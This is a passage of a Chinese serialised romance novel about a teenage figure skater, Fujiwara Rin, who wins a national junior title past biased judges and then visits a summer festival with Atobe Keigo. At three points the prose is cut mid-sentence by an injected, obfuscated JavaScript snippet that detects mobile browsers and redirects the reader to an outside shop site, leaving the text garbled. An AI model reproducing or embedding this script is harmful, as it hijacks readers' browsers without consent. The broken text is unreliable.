当音乐渐渐转弱时,她进入最后一个技术动作——躬身转。她的身体弯成优美的弧线,头颈肩向后大幅度弯曲,几乎要与腰相碰。随后,在观众低低的惊叹声中,单手提起浮足刀齿上拉,一个绝美的 “烛台贝尔曼”。 音乐收束,一切喧嚣归于沉寂。她的结束动作,几乎是起始姿态的回响,但多了些什么——是经历了一番内在挣扎与外在绽放后的疲惫与释然。她再次静止,眼神望向远方,仿佛从一场百年大梦中醒来。 现场在片刻的寂静后,爆发出比之前更为热烈、似乎还夹杂着更多惊叹的掌声。 “哇!她滑得真好啊!”一个年轻女孩一边鼓掌,一边转头和同伴讨论,“感觉比前面那个粉色裙子的女孩更有力量,也更吸引人!” “确实,”她身旁的同伴点头赞同,目光还追随着正在向四面行礼的凛,“她的跳跃看起来好轻松,飞得又高又远。而且滑得好快,好流畅!” 讨论声在看台的各个角落响起。 “刚才最后的那个旋转!我的天,太美了!”一位中年女士捂着嘴,眼中满是惊艳。旁边一位看似资深冰迷的男士推了推眼镜,向不太懂行的女伴解释道:“那是‘烛台贝尔曼’,对柔韧性和核心力量要求都极高。一般选手只能做水滴贝尔曼,很少能有选手能做得这么标准又好看!你看她刚才的轴心,稳得像钉在冰上一样!” 然而,当分数在大屏幕上打出时,结果却有些出人意料。 “藤原凛,技术分(TES)38.35分,节目内容分(PCS)28.18分,总分66.53分,暂列第二。” 藤原凛的分数落后铃木樱近1分。 现场响起了一些窃窃私语。 “诶?我觉得蓝色的那个女孩滑得更好啊……” “没错没错,”另一侧传来附和声,“她的表演更有深度,能把你带到音乐的情绪里去,好像她就是毕加索画里的少女一样。你能感受到她懵懂的快乐,又好像能看到未来的艰难。” “但是为什么分数更低,是裁判的偏好不一样吗?” 等分区(K&C区),凛看着屏幕上的分数和排名,抿了一下嘴角,眉头微微蹙起,但仅仅是一瞬,她便迅速调整了表情,恢复了平静。镜头转来,佐久间拍了拍她肩膀,她露出得体的微笑。 佐久间教练将打印出来的详细小分表递给她。凛接过表格,目光迅速扫过那些数字和缩写。技术动作和定级上裁判抓无可抓,只能在执行分(GOE)上做文章。她引以为傲的跳跃和旋转,并没有从所有裁判那里获得与之匹配的高加分。 两人同样配置了3Lz+3T的连跳,铃木编排在开场第一个,BV(基础分值)是10.10,而她则是放在节目后半段,能够获得10%的BV加成达到11.11,基础分就比铃木高1分多,但这一跳的最终得分她只比铃木高了0.6。这意味着,在GOE上,她不仅没有像预想中与对手拉开差距,反而被压了。 而在节目内容分(PCS)的各项细分上,更是有明显的差异——有好几位裁判给出了9分以上的评价,但同样有几位裁判,给出的分数明显偏低,尤其是在“表演完成”和“音乐表达”上,拖累了整体均值。 她将小分表折好,握在手中。那些被刻意压低的分数,像冰冷的针,刺醒了她内心那头渴望证明、渴望用绝对力量打破偏见的野兽。 “佐久间老师。”凛抬起头,看向她的教练, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016634|194210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “自由滑,我要上四周跳。” 既然高质量和艺术不足以打动所有人,那么,就让她就用无可争议的、碾压性的难度,来叩开胜利的大门吧。自由滑上四周跳的想法,在这一刻,变得前所未有的坚定和清晰。 佐久间看着她坚定的眼神,沉默了片刻。虽然带了她没多久,但他已经清晰地发觉,她的目标从来都只是最高处,只是站上领奖台是不会让她满意的。而且……奥列格的想法或许是对的。她一定程度上是个“外来者”,如果不能给到足够的筹码,那么她以后国内比赛的待遇也许会一直被压一头。 就让她卷起风暴吧。 佐久间点点头,“那么,我们来调整一下自由滑的最终配置。” 选手看不见的裁判休息区内,弥漫着一种不同于赛场热烈氛围的微妙感。 一位戴着金丝边眼镜、气质干练的女裁判,山本直美,正低头看着手中的详细打分表,她的指尖在藤原凛“音乐表达”那一栏的“9.25”分上轻轻点了点,而后目光转向旁边一位面色严肃、头发梳得一丝不苟的中年男裁判田中,语气带着一种故作惊讶的关切: “哎呀,藤原选手刚才那套节目的音乐表达,连我都被深深打动,差点要落泪了呢。”她微微眯眼,看向田中裁判打分表上同一栏刺眼的“7.75”,声音提高了些许,确保周围几位裁判都能听到,“没想到在田中老师这里,却只能拿到7.75分。果然还是田中老师要求严格啊,真不知道什么样的作品,才能入得了您的眼呢?” 田中裁判面色不变,只是端起茶杯喝了一口,没有接话。 坐在田中旁边另一位较男裁判佐佐木,见状连忙笑着打圆场:“山本老师言重了。藤原选手毕竟是第一次参加全国性比赛,P分(节目内容分)给得紧一点,也是情理之中嘛。这也是为了鞭策年轻选手,让他们戒骄戒躁,继续打磨细节,追求更高的进步空间。” 山本直美闻言,脸上笑容不变,眼神却锐利了几分,她轻轻“哦”了一声,语气更加意味深长:“原来是这样啊……那我就放心了。”她顿了顿,目光似有若无地扫过田中,声音依旧保持着恰到好处的音量,“我还以为,田中老师是担心这次关西的优秀选手会败在关东出身的藤原选手手里,所以才格外‘严格’呢。看来是我小人之心了。” 这话几乎是在明晃晃地指责他地域偏袒。田中裁判终于忍不住,冷哼一声,放下茶杯,语气生硬地反驳:“给一个初出茅庐的新人打9.25,山本老师,难道你就没有抬分的嫌疑吗?” 山本直美心里冷笑一声。抬分?她当然要抬分。虽然是新人,但以藤原凛刚才那段兼具技术难度与情感张力的表演,给8.75到9分都是正常范围,她给的9.25确实稍微突出了点,也并非完全离谱。反观田中这群人,直接压到7.75,这吃相未免太难看了。 近几年关西流派势头强劲,几乎垄断了国内赛事的冠军,他们关东出身的裁判早就憋着一口气。如今好不容易出了藤原凛这样一个天赋异禀、足以撼动格局的关东苗子,她自然想借机推一把,杀杀关西系的威风。对方那点打压新人、维护关西优势的心思,真当别人看不出来吗? 她心里念头飞转,面上却丝毫不显,反而笑得更加明媚,带着几分故意气人的夸张:“哎呀,被您看出来了?其实我已经很收敛了呢!要不是考虑到藤原选手是新人,确实需要‘成长空间’,我都想直接给10分满分了呢!” 她不再看田中瞬间铁青的脸色,优雅地拿起自己的资料,站起身,语气轻快:“嘛嘛,不说这些了。现在,我可是超级期待藤原选手接下来的自由滑呢。听说她有4周跳储备,不知道她会不会在这次的比赛里尝试,真想亲眼看看呢!” 说完,她便踩着高跟鞋,姿态从容地离开了休息区,留下身后一片压抑的沉默和某些人更加阴沉的脸色。 8. chapter8 自由滑,藤原凛倒数第二位出场。在她之后是短节目排名第一的铃木樱。 凛的自由滑配乐选自英国缪斯乐队《Exogenesis: Symphony》交响三部曲的终章Redemption。 这首交响摇滚史诗整体围绕“地球文明消亡后人类探索宇宙延续生命”的科幻设定展开,前两部分分别讲述地球文明走向终结、人类将最后希望寄托于宇航员远行寻找新家园。这一章作为收尾,宇航员们开始深刻反思——他们意识到人类若不改变贪婪的本性,即便迁徙到新星球,地球的悲剧也终将重演。音乐宏大的管弦乐、迷幻的电子音效与充满绝望和希望的歌词,共同构建了一个人类在末世后,乘坐方舟寻找新家园的壮丽故事。 凛身着一袭蓝色与银河紫色交融的考斯滕。整体设计简约优雅,又带着几分神秘感。考斯滕以深邃的星云紫为基底,蓝色轻纱缀在其上,与紫色纠缠,像铺展了一片未被惊扰的暗宇宙。从领口向下,碎钻沿着身体的自然弧度延展,仿佛星系中蜿蜒的旋臂,带着微光向宇宙边缘蔓延;腰腹处的碎钻则顺着收腰线条微微收束又向外散开,如同引力作用下形成的优美涡旋。裙摆的碎钻排布更显层次,外层薄纱上,碎钻沿着褶皱的走向星罗棋布,像星系外围散落的星尘与星云。 在冰场的灯光下,光芒顺着衣线流动,就像透过望远镜观测星系时,看到的那些带着光晕的旋臂、星尘带与核心恒星群——每一道光痕都有迹可循,每一颗碎钻都藏着宇宙的浪漫。 节目以一个深内深外刃切换的单足蛇形步开场,她的眼神迷茫、悲伤。随后的滑行和步法,看起来充满了探寻与不确定,仿佛在无垠的虚空中漂浮。 音乐变调,是节目编排的第一个跳跃——4S。 凛垂下眼睑,将最后一丝嘈杂隔绝在外。音乐引子的低音如心跳般擂动,冰刀在脚下发出几乎听不见的嘶鸣。她的滑速越来越快,左脚内刃深深咬住冰面,划出一道又短、又急的弧线。起跳像一次顺势而为的拧转,将向前的冲力猛然提拉向上,毫无征兆,却又理所当然——仿佛冰面本身将她弹射了出去,如同一次火箭发射般的升空,决绝而有力。 “砰——”刀刃凿入冰层,发出清脆而扎实的声响,一股白色的冰屑在脚边绽开。看台上传来压抑不住的惊呼,而她脸上没有任何表情,只有迅速投向远方的目光。 而后又一个编排的4周连跳——利用第一个跳跃的滑出速度,凛迅速地滑过半场。两个四周跳,都容不得她任何失误。几个压步加速,凛的身体已然转入下一个准备弧线。右脚刀刃划出一道近乎平直的冰痕,左脚刀齿精准地寻找着冰面。起跳!没有试探,只有确认。又是一个四周旋转,身影在空中划出犀利的轮廓。落冰同样稳定,4T成功!但这不是结束——右脚刀刃吃住冰面,左脚的刀齿几乎在触冰的同一瞬再度点冰,身体借势二次腾空,完成一个轻巧而果断的两周跳。嗒。第二声落冰更轻,却更像一个坚定的句号。 两次跳跃,一次呼吸,一串连贯到令人屏息的组合。落冰滑出的时候,凛的腿有点软,是劲儿用猛了的那种软。但心里一下子松了。直到此时,她才在滑出中微微扬起了头。最险峻的关卡已过,冰刀留下的轨迹,从沉重的破折号,变成了流淌的连音线。节目,此刻才真正开始。 接下来的3lo、2a、燕氏旋转,每一个动作的姿态控制都堪称完美。 音乐进入充满混乱与挣扎的段落,她的接续步变得急促、复杂,肢体动作表现出抵抗与痛苦,仿佛在穿越危险的星云或面对内心的孤寂。 节目后半段的编排跳跃,与主唱一遍又一遍的唱段,以及那极富穿透力的嗓音,一次又一次的融合。 “Let''s start over again”(让我们重新开始)的伴奏中,凛一个深外刃起跳的3lz3t完美落地;“why can we start over again(为什么我们不能重新开始)的乐声中,又一个鲍步下腰衔接进入的3f1eu3s;随之而来的 “Just let us start it over again(就让我们从头开始)”的歌声中,一个克里根燕氏进入的3lz高飘远。 每一个跳跃都极富美感,合乐完美。跳跃在此刻不仅是得分点,更是情绪爆发的节点。人类悔恨又决心自我救赎的复杂情绪仿佛被拉满。 “This time we''ll get it, get it right 这次我们可以将所有事情恢复正轨 It''s our last chance to ive ourselves 这是最后能让我们宽恕自己的机会” 当音乐转向空灵的合唱部分,凛的表演也随之升华。跳进的燕式旋转接风车转再接换足后的躬身转,最后是她拿手的烛台贝尔曼。她的旋转,如同在宇宙中展开的翅膀。 音乐尾声中,她从前蹲踞的旋转姿态逐渐站起,蜷缩的姿态逐渐舒展,以一个掩面Y字旋转结束了整套节目。 一切再次归于寂静,她又回到了开场的姿态。仿佛终于看到了那颗充满希望的、蓝色的新星球。她的脸上没有笑容,只有一种历经劫难后的平静。 完成了。 凛喘息着,仰面看着头顶的灯光。 干净地完成了。 偌大的场馆在片刻的凝滞后,爆发出如雷的掌声。而裁判席上,各位裁判的反应,则如同一个微缩的人生舞台。 Bravo。 山本直美的内心是震撼的。她几乎下意识想为她鼓掌,强行克制才维持了表面的专业仪态。但镜片后的眼睛里闪烁着无法掩饰的激动光芒。 “Bravo!” 她在心中无声地呐喊。顶级的难度、教科书般规范的技术、无与伦比的艺术表现力、极强的肢体控制力、与音乐的完美共情,以及一种超越年龄的、的悲剧美感。每一个跳跃的起跳和落冰,都精准地踩在音乐情绪的爆破点上,尤其是后半段那连续几个与歌词严丝合缝的跳跃。 这套节目,远远超出了她对这位天才少女的期待。 短节目的9.25?那已经是过去式了。这套自由滑,她值得更高的分数,她会打出更高的分数。她瞥了一眼身旁的田中,那么——在这样的表演面前,你们还能找出什么借口来压分? 田中感受到了来自山本的凝视。他依旧坐得笔直,面色沉静,但那只握着评分笔、指节微微泛白的手,泄露了他内心的震动。他知道她储备了四周跳,预料到这个归国少女拥有冲击冠军的实力。但他没想到的是,她竟然在自由滑中如此稳定地完成了两种不同的四周跳!更让他心惊的是,这套节目所展现出的艺术深度。 这绝不是一个十几岁少女常见的、或甜美或忧伤的浅层表达,这是一种触及灵魂的、关于毁灭与重生、绝望与希望的哲学思考。 他翻看着参赛选手的信息表。藤原凛——她只有14岁而已,一个青年组的新人,就已经展现出了对宏大主题如此惊人的理解力和表现力,与她的年龄形成了惊人的反差。一股复杂的情绪在他心中翻涌——有对天才的惊叹,有被打脸的难堪,也有一丝不易察觉的、对纯粹花滑艺术的折服。 山本直美似乎能感受到了身旁之人内心的波澜。她趁着整理打分表的间隙,用只有两人能听清的音量,带着一丝难以掩饰的优越感,低语道:“真是……了不起的表演,不是吗,田中老师?这种级别的完成度和艺术性,在青年组里,恐怕很多年没见过了吧?” 田中喉结滚动了一下,没有看她,目光依旧盯着冰场上正在向观众致意的少女,从牙缝里挤出一句:“技术执行……尚可。”他试图维持最后的倔强。 山本几乎要冷笑出声,但她忍住了。“是啊,‘尚可’到足以重新定义青年组女单的水平了。看来,新时代的浪潮,是挡不住的。” 田中沉默。他无法反驳。在这套融合了顶级技术与深刻灵魂的节目之后,他之前那些基于“地域”或“资历”的评判标准,显得多么狭隘和苍白。 裁判席上的空气,仿佛都因为这场精彩的表演和两位裁判无声的交锋而凝固了。 “藤原凛,技术分(TES)83.88分,节目内容分(PCS)62.50分,自由滑总分146.38分。总成绩212.91,目前排名第一。” 铃木樱最后一位上场,顶着凛带来的巨大压力,她顺利地完成了自己的自由滑曲目《罗密欧与茱丽叶》。 平心而论,这也是一套极为经典的节目。15岁不到的她,恰好贴合朱丽叶情窦初开的年纪,柔和的淡粉色为主调的考斯滕像春日里初绽的粉玫瑰,满是少女的娇俏与纯净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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Fujiwara Rin” 的字样清晰无误地位列榜首。技术分毫无疑问地碾压。节目内容分两人虽然差异不大,但她也赢了。她也不指望那些评委能因一场表现而对她全面改观。但她以入侵的姿势出现,在对手的地盘力压对手一头上位,已经足以说明什么。 凛看着最终得分,脸上露出了真心的笑意。 VIP观赛席上的迹部景吾,身体向后放松地靠进了座椅里。他并没有像周围激动的观众那样欢呼或鼓掌,只是那双锐利的灰紫色眼眸中,掠过了一丝了然与满意的光芒。修长的手指优雅地抬起,习惯性地、带着几分矜持地轻抚过眼角下方的泪痣,嘴角勾起一抹极淡却真实的笑意。 短节目略显不公的分数后,冰场上那个少女,在自由滑里,用她的冰刀,强行撕开了一道口子。 「Alex (18:35): 选手通道等你。」 凛回了一个ok的表情,转身去接受采访。媒体面前,她又恢复了一惯的清冷平静的表情。 采访结束,凛走进选手通道。迹部景吾懒懒地倚靠在墙边,姿态却依旧华丽。 “Alex.”凛看着他,刚才在场上的那种紧绷的情绪,莫名就放松了了下来。 迹部直起身,自然地接过她手中沉重的装备包和花束,“恭喜,漂亮的胜利。” 两人并肩走向停车场。坐进车里,迹部递给她一个精美的礼袋,上面还用金色的丝带打了个蝴蝶结,他言简意赅,“贺礼。” 凛打开礼袋,里面是一只穿着蓝色牛角扣大衣、戴着红色宽檐帽的毛绒帕丁顿熊,大小正好可以抱在怀里。她摩挲着小熊的红帽子,想起他第一次送的帕丁顿,不由得笑起来,“Always Paddington, huh?” (总是帕丁顿熊呢?) 迹部闻言,瞥了她一眼,作势要伸手拿回:“不想要可以还回来。” “当然要!”凛立刻把熊抱紧了些,侧身躲开他的手,带着未散的笑意望向他。“每一只我都会好好保存的。” 车厢内空间有限,两人的距离比平时更近一些。近得能清晰地看到对方瞳孔中的自己。傍晚的光线透过车窗,柔和地勾勒着彼此的轮廓。她看到他眼底有一丝罕见的温暖;而他则清晰地看到她褪去了锋芒的眼眸中,只剩下纯粹的、放松的笑意。 一秒、两秒、三秒…… 凛率先察觉到了自己心跳的失序。一种微妙的的紧张感从脊椎蔓延开。她脑中不合时宜地闪过一个念头——好像在哪里看过,对视超过三秒,大脑产生的反应和接吻时的心跳加速高度相似…… 完蛋了。 她下意识地垂下眼帘,长睫微颤,掩饰性地将怀里的帕丁顿熊抱得更紧了些,仿佛那是一个可靠的盾牌。 迹部也几乎在同一时间移开了目光,他有些不自然地坐正了身体,迅速找了个话题,语气恢复了平时的沉稳: “9月1日冰帝开学,秋季学期。你的转学手续都已经办妥了,安排在三年A组。” 他目视前方,仿佛刚才那短暂的沉默从未发生。“你插班进来是第二学期,课程上可能会有衔接不上的地方。有问题,随时来问我。” “好。”凛应下,目光落在窗外飞速倒退的街景上,怀里帕丁顿熊柔软的触感异常清晰,而耳边自己那略显急促的心跳声,似乎也久久未能平息。 9. chapter9 夺得全日青冠军后的周末,东京的空气里依旧残留着夏日特有的溽热,却也多了几分赛事尘埃落定后的轻松。藤原凛接到迹部景吾的电话时,刚结束晨间训练。 “晚上有空吗?”迹部的声音透过听筒传来,一如既往的直奔主题。 “有空。怎么?” “庆祝你夺冠,顺便,”他顿了顿,“带你体验一下日本夏天的风物诗,花火大会。” 花火大会的举办地临近河岸,尚未走到主会场,喧嚣的人声和各种食物的香气便已扑面而来。道路两旁,是密密麻麻的屋台摊位,章鱼烧、炒面、苹果糖、巧克力香蕉的香味交织在一起,营造出浓郁的祭典氛围。 凛在角落里的一个摊位前驻足。那是一个不起眼的小摊位,支着简单的木架,上面悬挂着寥寥数个面具,面具的图案却与周围批量生产的货色截然不同,图案笔触细腻,用色大胆,旁边挂着一个木牌,写着“手工绘制·独家”。 摊位后坐着一位年轻女子,穿着深色作务衣,袖口染着点点颜料。她正全神贯注地在手中的空白面具上勾勒着图案,对周遭的热闹置若罔闻。凛安静地站在一旁,没有出声打扰,只是静静地看着。 迹部也注意到了她的驻足。他停下脚步,顺着她的目光看去,眉头微挑。这种带着强烈个人风格和即兴创作意味的东西,在秩序井然的祭典中显得有些突兀,绝对不好卖,但……确实有几分意思。他没有催促,只是站在她身侧稍后的位置,同样将目光投向那位沉浸在自己世界里的创作者。 最后一笔落下,摊主放下画笔,轻轻吹了吹未干的颜料。这时,她才仿佛从自己的世界中抽离,抬起了头。她的目光落在了离摊位最近的凛身上,打量着她。 凛今天穿的浴衣是迹部提前送过来的,丝绸和棉麻混纺的质地,底色是如同夏日傍晚天空的渐变蓝紫色,上面点缀着细碎的银色星辰和若隐若现的藤花图案,和她自由滑的考斯滕配色很像。 摊主看了她几秒,没有问“要买什么”,而是转身,从身后一个朴素的木箱里,取出了一个已经绘制好的半面面具。狐狸的形状,但画的不是传统狐狸的模样,而是紫藤花。从面具的右侧边缘开始,缠绕而上,覆盖了右侧和狐狸耳朵的大半,深深浅浅的紫色,模拟出藤花盛放与枝叶缠绕的形态。面具眼周更深邃的紫,精细地勾勒轮廓。鼻尖处,是另一种更清透的紫。 摊主把面具对着凛比划了一下,没有直接给她,而是拿起笔,蘸取纯银色的颜料,沿着已有的深紫色眼线上方,以断续、跳跃的技法,绘出了一条仿佛银河碎屑洒落般的“星辰眼线”。然后,她打开一个小罐,用指尖捻起一些极其细碎的银色亮片,轻轻洒在眼周特定的区域,又迅速用一支小刷子蘸取透明速干胶,精准地固定住。 完成后,她将面具递给凛,用那双清亮的眼睛看着她,仿佛在说:“试试。” 凛完全被这一系列操作吸引了,带着一丝惊讶和好奇,接过尚带着颜料气息的面具,往自己脸上比了比,又低头看了看自己浴衣的袖子——那上面的藤花与星辰,竟与面具上的图案如此契合,仿佛是从同一幅画卷中裁剪下来的不同部分。 “和你的衣服很配。” 迹部的声音在一旁响起,“戴着吧,更符合祭典的气氛。” 迹部转向摊主,准备付钱。然而,摊主却抬起手,手指在木制台面上轻轻敲了敲,阻止了他掏钱的动作。她的目光从戴着藤花星狐面具的凛身上,移到了迹部身上。 这一次,她的审视更加直接,也更加缓慢。从他那身一看便知价值不菲,纹样却选择得极为低调雅致的深蓝浴衣,到他即使在祭典人群中依然挺直如松的站姿,再到他那张过于英俊却写满掌控与疏离的脸,最后,是他在祭典灯火下依然冷静锐利的冰蓝色眼睛。 她似乎看到了什么有趣的东西,嘴角极轻微地动了一下。然后,她取出一个新的半面面具胚,这次底色是半白半黑。 她换了一支笔,蘸取了璀璨的金色。笔尖落在面具黑色一侧,在眼睛上方快速而精准地游走,勾勒出振翅的蜻蜓羽翼,与迹部浴衣上的蜻蜓纹形成了奇妙的呼应,眼周用金色描边,线条凌厉中带着柔韧,与迹部的眼神意外地有几分神似。接着,她换到面具白色一侧。这里,她使用了截然不同的颜色:冰蓝与酒红交织。她以左眼的孔洞为中心,用这两种冷色调绘制了一个繁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016636|194210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复花纹,一直延伸到侧边——一个宝相狐纹图腾。 “好了。”摊主完成最后一笔,将面具递给迹部,目光在两人之间扫了一个来回。 “价格?”迹部问。 “看着给。”摊主已经在绘制另一个面就,头也没抬。 迹部看了一眼凛脸上那与她融为一体的藤花星狐面具,又看了看自己手中这个,没有再多问,干脆地抽出两张万元面额的纸钞,留在摊位上。 “走吧。”他抬手,将那个与他浴衣同色、绘着金翼狐纹的半面面具,戴在了脸上。 “她好特别。”凛走了几步,忍不住回头,看向那个已经重新沉浸在自己世界里、对周围喧嚣和刚留下的钞票都漠不关心的摊主,“她这样……不怕别人不给钱,或者随便给一点,让她亏本吗?” “能在这种地方,用这种态度卖这种东西的人,”迹部略微侧头,视线似乎扫过身后已然模糊的摊位,“她看中的,从来就不是‘生意’。” “她在筛选。” “筛选能‘看懂’她作品的人。” “筛选愿意为‘独一无二’和‘一时契合’付费的人。” “至于亏本?” 迹部几不可察地轻嗤一声,不是嘲讽,而是一种陈述事实的态度,“能用这种品质的颜料,花这样的时间成本做单一作品的人,要么早已不在乎这点收入,要么……” 他顿住,没有说完。但凛已经明白了。 要么,这个人本身就不靠这个维生。这或许只是一种表达,一种与外界连接的方式,甚至是一种……游戏。那位摊主小姐姐身上那种超然物外的专注和随性,似乎也佐证了这一点。 “所以,”凛若有所思,“她给我们画面具,是因为觉得我们……‘配得上’?” “至少,”迹部的声音里似乎掺入了一丝其他的情绪,或许是对那摊主眼光的认可,或许是对此刻“配对”面具的某种微妙满意,“在她看来,今晚的我们,比周围这些人,更值得她动用颜料和灵感。” 这个认知让凛心里泛起一丝奇异的涟漪。一种被某种纯粹审美标准所认可的感觉。她下意识地抬手,指尖轻轻碰了碰脸上的藤花。 10. chapter10 两人戴着面具,混入熙熙攘攘的人流。 他们随着人流慢慢移动,经过一个围了不少人的射击摊位时,凛的脚步忽然停了。 摊位上琳琅满目地堆满了奖品,从最前排的钥匙扣、糖果盒,到中间层的动漫手办、模型,再到最高处那些大型的毛绒玩具。其中,一只几乎有半人高、憨态可掬地穿着红色和服、头戴斗笠的帕丁顿熊,正笑眯眯地“坐镇”中央,在暖黄色的灯光下显得格外引人注目。 “我想试试这个。”凛扯了扯迹部的袖子,指着那只熊,眼睛里映着摊位的灯火,亮晶晶的。 迹部顺着她的手指看去,挑了挑眉。那熊确实显眼,也意味着难度最高——支撑它的木质底座看起来比别的都更粗壮结实。他瞥了一眼摊位前几个正铆足了劲却大多无功而返的男生,以及他们身边或加油或惋惜的女伴,嘴角勾了一下。 “啊嗯?眼光倒是不错。”他走到摊主面前,干脆利落地付了钱,“自己来,还是本大爷帮你?” “我自己来。”凛的回答毫不迟疑,摘下面具递给迹部,带着跃跃欲试的劲头。 她走到固定在台架上的玩具步枪前。枪是老旧的气动式,用一根磨损的绳子拴着。凛试着调整了一下姿势,浴衣的袖子虽然挽起了,但腰间的束缚确实让她感觉动作不如平时训练时那般自如流畅。 “这衣服可比考斯滕还绑人。” 她深吸一口气,端起枪,瞄准。 “砰!” 第一发软木子弹飞出,落点明显偏低,擦着帕丁顿熊的底座下方飞过,连边都没沾到。 “子弹有重量,下落明显。” 迹部的声音在她身侧响起,不高,却清晰地穿透周围的嘈杂,“算好抛物线,枪口稍微抬高点。” 凛依言微调。 第二枪,“砰!”击中了支撑熊的一根木柱,但柱子只是微微晃动,熊纹丝不动。 她抿了抿唇,继续瞄准。第三枪、第四枪……十发子弹很快打完。她打得越来越专注,调整着每一次的角度和力度。最后一枪,子弹精准地撞上了之前击中过的那根木柱的衔接处,帕丁顿熊猛地歪了一下,引得旁边围观的人也发出“哦——”的一声,但终究还是顽强地稳住了,没有掉落。 “再来?”迹部看着她微微蹙起的眉和更显执着的眼神,已经拿出了钱包。 “再来。”凛点头,活动了一下因为保持固定姿势而有些僵硬的肩膀。 又是十发子弹装填。这一次,凛的瞄准更加耐心。她重点“照顾”那根已经松动的木柱,也尝试攻击其他支撑点。有几发打中了,熊晃动的幅度更明显,其中一根较细的支撑发出了令人牙酸的“嘎吱”声,但依然没有断裂。 “方向是对的,保持。”迹部这次没有具体指导角度,只是给了肯定的判断。他的目光落在她紧绷的侧脸和专注的眼睛上,那里面燃烧着的胜负欲,比摊位上的灯光更亮。 第三轮开始。周围的喧嚣仿佛褪去,凛的世界里只剩下准星、目标,和那颗需要被计算抛物线的软木子弹。有一发射偏了,却阴差阳错地撞在了另一根之前没怎么被“照顾”到的支撑柱上,那柱子竟“咔嚓”一声,从中间断了! “哇!” 周围响起一阵惊呼。 帕丁顿熊剧烈地摇晃起来,牵动着剩下两根——包括此前已严重松动的一根——的支撑,眼看就要倾倒,却在最后关头险险地稳住了。 “哎——!” 凛自己也忍不住发出了懊恼又带着点期待的声音。 “你这运气……” 迹部轻笑了一声,语气里听不出是调侃还是别的,“歪打正着,也算本事。” 凛没理他,只剩最后几发了。她屏住呼吸,眼神锐利如刀,瞄准那根已经摇摇欲坠的主支撑。 “砰!砰!砰!” 第四十八发子弹呼啸而出,终于,那根饱经摧残的木柱发出了不堪重负的断裂声。 “轰隆”一声闷响,穿着和服的巨型帕丁顿熊终于从高高的展台上掉落下来,倒在奖品堆里。 “Finally!”凛长长地舒了一口气,不知道是兴奋还是目标达成后的放松。周围零星地响起了掌声,既是给奖品,也是给这份锲而不舍。 摊主大叔费力地把熊拖过来,递给凛。抱着几乎有她大半个人高的毛绒熊,凛才后知后觉地想起:“还有两发子弹,怎么办?” 迹部扫了一眼摊位:“还想要什么挂件?可以给你这只熊配个装饰。” 凛目光在奖品架上逡巡,最后落在一个做工精巧、系着红色流苏的香囊挂坠上。“要不试试这个?” 可以挂在帕丁顿熊的腰带上,倒挺配。 迹部没说话,拿起她刚才用的那支玩具枪,只是略微调整了一下站姿。 “砰!” 子弹划过一道短促的弧线,精准地击中了悬挂香囊的细绳节点。 香囊应声而落。 凛抱着熊,眨了眨眼:“……” “还要什么?”迹部放下枪,再次转头问她。 凛的视线落在前排一张镶嵌在透明亚克力板里的漫威收藏卡上,是一张美国队长的卡。“这个?”她其实更喜欢钢铁侠和锤基两兄弟,但现在,她更想验证一下刚才那一枪是运气还是…… “砰!” 她话音还没完全落下,又是一声枪响。 美队的卡片连同其小小的支架,干脆利落地倒下。 凛转过头,看着迹部那副云淡风轻的表情,一句“WTF”在舌尖滚了滚,硬生生咽了回去。灰绿色的眼睛里写满了不可置信和无声的控诉:所以你刚才就站在旁边,看着我吭哧吭哧打了四十八枪,跟那个破木头架子搏斗了半天? 迹部像是读懂了她的眼神,接过摊主递来的香囊和卡片,随手塞进帕丁顿熊的怀里,然后才慢悠悠地开口,声音里带着一丝难以察觉的笑意: “前排的靶子和支撑,难度不一样。而且,”他瞥了一眼她怀里硕大的战利品,“这游戏,享受的不就是自己‘打下’目标的过程么?” 道理是这么个道理。凛看着自己凭“实力”加“运气”打下来的熊,确实成就感满满。但是……总觉得,这人刚才站在旁边,不光是指点,多少还有点……在看戏吧? 尤其是最后那两枪,简直像在无声地炫耀:看,本大爷要是认真起来,根本不用那么费劲。 凛抱着那只巨大的和服帕丁顿熊,几乎要遮住她的视线。路过一个卖苹果糖的摊位,晶莹剔透的红色糖衣包裹着圆润的苹果,在灯光下闪着诱人的光泽。她的目光不自觉地被吸引,脚步慢了下来,眼神里流露出明显的渴望,但随即又闪过一丝属于运动员的克制和纠结。 迹部察觉到了,停下脚步:“想吃?” “有点……”她有些纠结,吃的话,今天的糖分摄入就超标了。 “想吃就试试,这东西不像奶油,没什么脂肪。”迹部语气平淡, “待会儿本大爷陪你多走一会儿就消耗掉了。” 他买下一根,递到她面前。凛抱着巨大的玩偶,双手不得空,只好就着他递过来的手,微微低头,小心地在那亮晶晶的红色糖衣上咬了一口。 “咔嚓”一声,糖衣碎裂,里面苹果微酸清甜的汁水瞬间在口中弥漫开来,混合着糖浆纯粹的甜。甜蜜的味道似乎能直接作用于心情,她眯起眼,由衷地感慨:“果然,甜食就是能带来愉悦感。” “还要吗?”迹部问。 她摇摇头:“够了,尝过就好。” 